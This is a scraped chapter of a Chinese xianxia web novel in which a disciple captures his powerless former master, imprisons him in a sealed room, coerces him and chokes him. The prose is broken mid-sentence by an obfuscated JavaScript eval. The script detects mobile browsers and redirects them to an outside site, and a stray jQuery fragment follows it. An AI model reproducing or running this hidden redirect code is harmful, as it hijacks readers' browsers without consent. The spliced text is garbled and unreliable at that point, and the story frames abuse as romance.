20. 囚心为狱
作品:《修为尽失后爱徒抓我当炉鼎?》 谢沉看了沈泉照一眼,眸色幽深,像是衡量一件待价的货物。
下一刻,他忽然松开了手。
“既然你心心念念要护凡人,那就让我看看——那些凡人又会如何待你。”
话音未落,他足尖轻点地面,身形一跃而起,踏着墙沿翻上高处。身影很快融入阴夜色之中,仿佛从未出现过。
杂乱的脚步声愈近,巡防的官兵举着火把赶到,就闻一股浓烈的血腥气顺着夜风拂来。
火光照亮了这处昏暗的巷口,但见一地横陈的尸体,一道单薄的身影独立于一地血泊之中,四下再无旁人。
沈泉照手中持着长剑,脸侧与衣襟上皆尚残着未曾干去的血迹。
只是脸上的神色异常平静,全没有一般杀人犯的嚣张又或是惊恐。
巡防官短暂地迟疑了一瞬,随即挥手下令:“拿下他!”
众卫兵拔剑一拥而上,将沈泉照团团围住。
沈泉照竟是一动未动。
他不愿对凡人用毒,也不愿出手伤人,而如今又无法力可以遁身,当冰冷的铁枷扣上手腕时,他甚至没有挣扎,只任由枷锁合拢,发出清脆而刺耳的响声。
墙头的阴影后,谢沉静静俯视着这一切。
火把的光倒映在他的金眸中,却没有半分暖意,仿佛在观赏一出闹剧。
两名卫兵想要上前押送沈泉照,手伸出时,眼前人的身形微微一晃,竟是谁也没能碰到沈泉照的身躯。
卫兵们面面相觑,就听沈泉照道:“不劳二位。我自己会走。”
他说罢,便迈步随着官兵们一道前行,从始至终未曾回头看过谢沉的方位一次。
巡防官在衙门内对他进行了简单盘问,却听沈泉照淡淡一句“人不是我杀的”,再无多言。
巡防官略一思量,索性直接将他投入大牢,等候翌日官老爷开堂审讯。
地牢内阴冷潮湿,霉味混着汗臭扑面而来。卫兵们押送犯人的脚步声在甬道里回荡,里头关押的其他囚犯听见动静,纷纷抬头打量。
只见这次新来的“狱友”竟是个漂亮男人,哄笑声与口哨声此起彼伏:
“哟,这是哪家的公子哥儿?”
“这模样,家里人没替你打点打点?”
“啧,都进了这地方,还装什么清高!”
沈泉照听这些轻佻的调笑,一言不发,背靠着寒凉的石壁下来,闭目打坐。
几名卫兵离开后,地牢里重归于暗。
不知过了多久,那些嘲弄声渐渐安静下来,外面隐约传来打更的声响,远处的囚室鼾声如雷。
一片昏暗中,沈泉照忽然睁开眼,声音低而冷:“你打算看多久?”
话音落下的瞬间,牢门外忽有影子轻轻一晃。
谢沉不知何时已站在那里,倚着铁栏,抱臂含笑望着他:
“所以你对凡人这么仁慈,又有什么用呢?”
沈泉照转头不看谢沉,没有出言回答。
谢沉的目光从他身上缓缓掠过:从被血污沾染的衣衫,凌乱的发梢,再到那张即便在暗中,依旧风流秀美得让人移不开视线的脸。
他的眸色微暗,猛然一记手刀落下,沈泉照的意识瞬间坠入黑暗。
谢沉在他倒下前接住了沈泉照的身体,指间凝气成刃,破开了沈泉照手上的镣铐。
他扛起沈泉照,周身灵光一闪,两人便消失在了地牢深处。
沈泉照再次睁开眼的时候,眼前不是的昏暗的地牢,也并非熟悉的客栈,而是一顶素色的床帐,上面除了天衡宗的宗徽,再无其他装饰。
沈泉照一个激灵,撑着床榻坐起身来,惊觉身上的衣料轻薄得近乎没有重量,稍一动作,便贴着肌肤滑落。
他的喉结滚动,抬手掀开纱帐,首先映入眼帘的,是一面一人多高的大铜镜。
铜镜正对着床而立,镜面打磨得极亮,将床上的一切照得分毫毕现。
镜中的他青丝散乱,发髻歪斜散乱,身上原本的衣衫早已不见,只余一件淡紫色的蚕丝纱衣披在身上。
纱衣的设计繁复,看似如浪花般层层叠叠,却遮不住身躯轮廓,在灯影下几乎半透。敞开的衣领下,胸前的皮肤格外白皙细腻。
沈泉照的呼吸一滞。
屈辱与怒意几乎在一瞬间涌上心头,手指死死攥着身前的被褥,一时连呼吸都在微微颤抖。
他自然知道这一切是出自谁人之手,深吸了一口气,迫使自己冷静下来,现在发怒,没有任何意义。
沈泉照抬手拢紧纱衣,目光所及皆不见鞋,只得赤足走下了床。
室内灯火柔和,墙上挂着古琴,连脚下的地砖都刻着花纹,却独不见门窗。
这无疑是一间密室。
沈泉照环顾四下,最终穿过玲珑绮罗,来到一幅山水卷轴前,顺着周遭墙面寸寸摸索,细细寻找可能的机关出口。
然而墙壁严丝合缝,找了许久,也不见一处隐藏的机括。
他在心中叹了口气,余光瞥见角落里的一只衣橱。
沈泉照迟疑了一瞬,还是走了过去。
若能找到一件蔽体的衣物,总好过现在这样不伦不类披着纱衣。
橱柜的门被拉开,发出“嘎吱”一阵轻响。
沈泉照似有所感,心头重重一跳,猛地想要转身——
却已经来不及了。
一股力道自背后袭来,双手牢牢扣住了他的腰肢,将他整个人锁进了一个温热而强硬的怀抱之中。
沈泉照挣了挣,圈住他的手如铁锁般,纹丝不动。他自知不敌,索性平静下来,不再白费力气。
“你醒了。”
谢沉的声音贴着他的耳廓响起,语调里带着一丝餍足,仿佛等待这一刻已久。
沈泉照的身体瞬间绷紧起来,耳畔的气息明明温暖,却让他一阵脊背生寒。
他自知现在的自己敌不过谢沉,于是没有挣扎,只将翻涌的情绪强压回心底,低声道:
“松手。”
谢沉非但没听,箍着沈泉照的手臂反收得更紧。
他将的下巴抵在沈泉照的肩上,指尖轻轻拨弄着沈泉照身上的紫色纱衣,布料在指间捻动,发出轻微的摩擦声。
“泉照,你一醒来,”他声音轻柔,却透着股逼人的压迫感,“就想着逃跑?”
沈泉照谢沉束在怀中,只抬起眼,平静地看向前方,冷淡道:“被人囚禁,难道不该逃吗?”
谢沉嗤笑了一声。
“一个没有法力的修士,”他话中的轻蔑毫不掩饰,“倒是挺能嘴硬。”
话音未落,他一把扣住沈泉照的肩,强行将人扭转了过来,逼他正对着自己。
沈泉照只见谢沉那双金色的眼睛近在咫尺,审视的目光在他脸上逡巡,好似猛兽思索着如何玩弄到手的猎物。
“说。”谢沉低声质问,“你的修为明明不俗,为何却用不出法力?”
沈泉照的眼神不躲不闪:“我没有回答你的必要。”
“没有必要?”谢沉的眼底掠过一丝阴翳。
下一刻,他忽然抓住沈泉照的手腕,指尖发力,将一缕真元毫不留情地灌入了对方体内。
那真元寒冷如冰,顺着经脉肆意游走,像是锋利的针尖在血肉之中狠狠刺戳。
沈泉照的身躯一僵,喉间溢出一声压抑的闷哼,下意识想要抽回手,却被谢沉反手按在墙上。
“放开我!”
沈泉照咬紧牙关,尽管他已尽力维持声音的平稳,话音却仍带着愤恨之意。
谢沉却仿佛被这一声抵抗触怒一般,五指收紧,压着沈泉照的力道不减反增。
那股冰冷的真元在沈泉照体内横冲直撞,所过之处刮骨剜肉,冷汗瞬间浸透了他的鬓角,连呼吸也开始变得粗重失序。
谢沉低下头,贴近沈泉照的耳侧:“那我不妨换个问题。”
他的语气冷静得堪称残酷:“你的法力,什么时候会恢复?”
沈泉照额角的冷汗顺着脸颊滑落。他缓缓吐出一口气,声音有些低哑:
“你这样……不对。”
谢沉的动作微不可察地一顿。
沈泉照喘息着,却一字一顿:“我等修行,是为了悟道,不是为了控制别人。”
谢沉的面色一沉,金眸中那点原本的探究彻底冷却:“你这是在教我?”
沈泉照迎着他的目光:“我是在提醒你。”
谢沉看了他片刻,忽然笑了:“提醒我?”
他低声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078963|195299||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
重复了一遍,像是将这个词含在嘴里,来回咀嚼品味。
“沈泉照,你是不是忘了,现在是谁在掌控谁?”
沈泉照不语,后背贴在橱柜上,退无可退。
谢沉冷笑:“如果我想,我现在就可以给你灌下汤药,让你变成炉鼎。”
沈泉照蹙着眉头,强忍着体内翻涌的寒意:
“你如今已入歧途,再这样下去,终有一日——”
“闭嘴。”谢沉骤然打断了他。
他的耐心仿佛被彻底耗尽,拉过沈泉照的右臂,对着轻薄的衣袖重重一扯。
淡紫色的纱衣滑落,沈泉照小臂上的咒印彻底暴露在了两人的视线之中。
那是一道狰狞如被烈火灼烧的纹路,盘踞在沈泉照白皙的皮肤上,丑陋得触目惊心。
沈泉照的脸色一下变得惨白,却仍死死抿着唇,没有出声。
谢沉的目光落在那道咒印上,嘴角缓缓勾起一个冷笑:
“装什么光风霁月,你自己也不过是个被宗门唾弃的罪人。”
沈泉照的睫毛微不可察地颤了一下。
谢沉盯着沈泉照的脸,但见他的眼中含着屈辱、不甘,还有一丝并不分明的脆弱。
那脆弱一闪而逝,却让谢沉胸中腾起一股难以名状的躁意。
“你不是还想跟我讲什么正邪善恶吗?”
谢沉说着,抬起沈泉照的右臂,将那道可怖的咒印强行举到他的眼前,逼着他看清楚那上面的每一道纹路。
“也不想想,”他的语气冷淡到近乎刻薄,“身为宗门罪人的你,有什么资格来教我?”
沈泉照别开了视线,紧抿着唇,一言不发。
那种近乎逆来顺受的沉默,反而让谢沉心底的躁意愈发失控。
他此前从未有过这样的感受。没有得逞的快意,不是单纯的欲望,倒更像是一种心要撕裂般的痛楚,让他迫切想要做些什么。
最终,他只是冷冷地在心中告诉自己:
这一切,不过是他的征服欲在作祟。
只要彻底占有眼前的男人,让其从头到脚都属于自己,一切不该存在的情绪,都会随之消失。
沈泉照深吸了一口气:“我至少不会像你这样——把屠戮凡人当成什么值得夸耀的本事。”
他的声音不高,与其说是指责,倒不如说是失望的陈述。
谢沉的呼吸一滞。
他的胸腔里像是燃起了一团烈火,熊熊火苗灼烧着他的心脏。
他的眼睛发红,骤然出手,五指扣住沈泉照的脖颈,将人死死按到墙上,话音中怒意翻滚:“你觉得我残忍?”
谢沉的这一手没收力道,沈泉照重重撞在墙上,又被卡着脖子,脸颊迅速泛起不正常的潮红,胸腔剧烈起伏,拼命想要喘息。
他本能地抬手去抓谢沉的手腕,可右手使不上力,左手也因窒息而止不住地打颤,一时竟使不上一点力气对抗,只转动眼珠,不偏不倚地看向谢沉的眼睛。
目光中并无恐惧,唯有心灰意冷后的疲惫。
谢沉的心口猛地一震。
他不明白心头火烤似的焦灼到底从何而来——明明一切尽在他的掌握,只要他再用力一点,就可以让眼前人彻底安静下来。
明明沈泉照方才昏迷之时,他趁机灌下汤药,施以术法,将其变为自己专属的炉鼎,一切都会变得那样简单。
可他偏偏没有。
那一瞬的迟疑,像一根刺,狠狠扎进他的心头。
谢沉倏而松开了手。
沈泉照骤然失了支撑,整个人顺着墙壁滑坐到地上,捂着嘴剧烈地咳嗽起来。
谢沉居高临下地俯视着他:“我若真残忍,你还能活到现在?”
沈泉照缓缓抬起头。
眼前人明明还有着他熟悉的眉眼,可言行举止,却已陌生得令他心中发冷。
昔日那个总爱黏着他,依赖他,喊他师尊,与他一起拉钩立誓的少年,去了哪里?
短短三年,人心,真的会变到这种地步吗?
谢沉俯下身来,伸手捏住沈泉照的下巴,迫使他仰头直视自己,唇角勾起一个冷硬的弧度:
“你不是说过,要和我结为道侣吗,现在怎么不说了?”

